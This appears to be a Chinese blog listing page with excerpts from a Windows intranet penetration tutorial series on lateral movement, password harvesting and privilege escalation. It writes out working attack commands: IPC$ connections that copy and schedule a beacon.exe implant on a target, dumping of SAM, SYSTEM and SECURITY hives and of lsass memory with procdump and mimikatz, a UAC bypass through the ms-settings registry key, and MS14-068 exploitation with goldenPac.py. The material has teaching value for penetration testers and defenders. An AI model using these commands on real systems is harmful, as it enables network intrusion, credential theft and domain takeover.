Mtaun

  • Windows内网渗透_5.横向移动

    5.1、账号密码链接 当我们获取到机器的账号密码的时候,可以尝试用以下几种方式进行连接并执行命令。 1.IPC 横向 IPC (Internet Process Connection) 共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,使用 139、445 端口。 1.1 利用条件 1、目标机开启了139和445端口; 2、目标主机管理员开启了ipc$默认共享; 3、知道目标机的账户密码。 1.2 命令 建立IPC连接命令: net use \\191.168.52.136\ipc$ "password" /user:"Administrator" 断开连接: net use \\x.x.x.x\ipc$ /del 查看连接是否建立: net use 建立 IPC 连接后可以使用计划任务执行木马上线。 拷贝木马: copy beacon.exe \\191.168.52.136\c$ 创建计划任务(at<2012、schtasks>=2012): at \\191.168.52.136 15:47 c:\beacon.exe 2.WMI 横向 WMI 全称 “windows...

  • Windows内网渗透_4.密码获取

    4.1、ntlmhash和net-ntlmhash Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: user:sid:lmhash:ntlmhash 因为在vista后不再支持lmhash,因此抓到的hash中的lmhash都是aad3b435b51404eeaad3b435b51404ee 在hash传递攻击时,可以替换成0: 00000000000000000000000000000000 ntlmhash我们是可以拿来hash传递的,而net-ntlmhash不可以,但是net-ntlmhash也可以拿来做破解和relay。 4.2、本地用户凭据 a.使用reg命令获取本地用户凭据hash: reg save hklm\sam sam.hive reg save hklm\system system.hive reg save hklm\security security.hive python secretdump.py -sam sam.hive -security security.hive -system system.hive LOCAL b.Procdump + mimikatz procdump.exe -accepteula -ma lsass.exe lsass.dmp #32位系统 procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系统 mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords...

  • Windows内网渗透_3.权限提升

    3.1、UAC UAC,即用户账户控制,其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。 那如何寻找bypass uac的方法呢。我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。 以高权限运行的进程图标一般有如下标志: 我们win10以ComputerDefaults.exe作为bypass案例,ComputerDefaults.exe进程图标确实有个uac的标志(然后你双击打开会发现并没有uac提醒), 我们利用ProcessMonitor对该进程的行为做一个监听: 先寻找HKCU:\Software\Classes\ms-settings\Shell\Open\Command 注册表,然后发现键值不存在,再寻找HKCR:\ms-settings\Shell\Open\Command\DelegateExecute 因此当我们修改hkcu注册表后,运行ComputerDefaults.exe就会得到一个bypass uac后的cmd: 对了,当修改HKCU\Software\Classes\下的键值时,会同步修改HKCR下面的键值。 3.2、ms14-068 该漏洞可以在只有一个普通域用户的权限时,获取到域控权限。微软已经修复了该漏洞,对应的补丁号为kb3011780。下面介绍下漏洞的成因,先来一个Kerberos协议流程图: ## 大致流程如下: 1、域用户登录时,向KDC的AS服务以自身密码加密的时间戳进行预认证; 2、域控的AS服务验证用户的密码是否正确。验证通过后,返回给用户一张TGT票据,该票据为krbtgt密码加密而成; 3、域用户拿着TGT向KDC的TGS服务申请访问Application Server的票据 4、域控的TGS服务验证TGT通过后,返回给域用户能够访问Application Server的票据,即ST,ST以Application Server的服务账号密码加密; 5、域用户拿着ST访问对应的Application Server; 6、Application Server验证ST,决定成功与否。 下面简述ms14-068的问题所在: TGT中作为用户凭证,包含了用户名、用户id、所属组等信息,即PAC。简单点讲,PAC就是验证用户所拥有权限的特权属性证书。 默认PAC是包含在TGT中的,而出现ms14-068这个问题的原因在于用户在申请TGT时可以要求KDC返回的TGT不包含PAC(include-PAC为false),然后用户自己构造PAC并放入TGS_REQ数据包中的REQ_BODY中,KDC会解密PAC并加密到一个新的TGT中(正常应该返回一个ST)并返回给用户,此时这个TGT已经带入了我们构造的恶意的PAC。后面就是正常的kerberos流程了。 利用方法: python ms14-068.py -u @ -s -d mimikatz.exe "kerberos::ptc TGT_user@domain.ccache" exit 也可以使用goldenPac.py来达到ms14-068+psexec的自动化利用: goldenPac.py domain.com/username:password@dc.domain.com